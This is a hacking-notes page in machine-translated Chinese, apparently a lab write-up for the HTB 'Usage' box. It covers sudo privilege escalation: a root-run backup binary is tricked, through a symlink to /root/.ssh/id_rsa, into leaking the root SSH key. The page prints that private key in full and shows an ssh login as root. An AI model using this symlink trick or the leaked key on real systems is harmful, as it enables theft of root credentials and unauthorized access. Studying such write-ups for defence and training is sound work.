> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-backup-binary-symlink-linux-privilege-escalation.md).
# Sudo 备份二进制符号链接 - Linux 权限提升
Sudo（备份二进制文件 / 符号链接）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。
## 这是什么
sudoers 权限提升始于用户可以通过……运行的命令 `sudo`。配置错误的二进制文件、不安全的脚本参数、符号链接处理，以及存在漏洞的 sudo 版本，都可能把有限的 sudo 权限变成 root shell。本页面专注于 **Sudo（备份二进制文件 / 符号链接）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。
## 枚举
在运行利用路径之前，先确认本地环境和具体的配置错误。
```bash
sudo -l
sudo --version
```
## 示例
### Sudoers 二进制文件利用：
通过运行 `sudo -l` 作为一个命令 `xander` 用户，您可以运行 `usage_management` 带有三个选项的二进制文件：
1. *`项目备份`*
2. *`备份 MySQL 数据`*
3. *`重置管理员密码`*
选择第一个选项（“项目备份”）后，程序会创建一个 `.zip` 包含备份的文件，作为一个 `root` 用户。
### 二进制分析（GHIDRA）
{% embed url="" %}
安装并运行 GHIDRA 来扫描二进制文件：
```bash
cd /opt
mkdir ghydra
cd !$
mv /home/jordan/Desktop/htb/Usage/exploits/ghidra_11.2.1_PUBLIC_20241105.zip .
unzip ghidra_11.2.1_PUBLIC_20241105.zip
./ghidraRun &> /dev/null & disown
```
* 在 `项目备份` 功能，此功能会压缩内容的 `/var/www/html` 在一个 `project.zip` 以 root 权限的文件。
{% embed url="" %}
**创建了一个符号链接以访问 SSH root 密钥**：要利用此功能，请在……中创建一个指向 SSH root 密钥的符号链接 `html` 目录
```bash
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
```
**以 root 用户身份运行脚本**:
* 启动脚本 `usage_management` :
* 在 `project.zip` 文件，获取 root 私钥（`id_rsa`).
```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
```
**使用 root 密钥进行 SSH 连接**:
* 使用该密钥以 root 身份登录：
```bash
ssh -i id_rsa root@10.10.11.18
```
---
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